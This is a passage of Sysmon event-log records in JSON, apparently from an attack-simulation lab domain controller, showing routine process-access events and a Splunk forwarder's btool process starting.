C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3277,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.400\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010211A0500}\r\nTargetProcessId: 484\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.400","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010211A0500}","TargetProcessId":"484","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3278,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.417\r\nProcessGuid: {90617006-407B-5F2D-0000-0010E31A0500}\r\nProcessId: 3472\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool web list settings --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010211A0500}\r\nParentProcessId: 484\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool web list settings --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.417","ProcessGuid":"{90617006-407B-5F2D-0000-0010E31A0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool web list settings --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010211A0500}","ParentProcessId":"484","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool web list settings --no-log","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3279,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.416\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010211A0500}\r\nSourceProcessId: 484\r\nSourceThreadId: 4308\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010E31A0500}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.416","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010211A0500}","SourceProcessId":"484","SourceThreadId":"4308","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010E31A0500}","TargetProcessId":"3472","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3280,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.416\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010E31A0500}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.416","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010E31A0500}","TargetProcessId":"3472","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3281,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3282,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3283,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3284,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3285,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 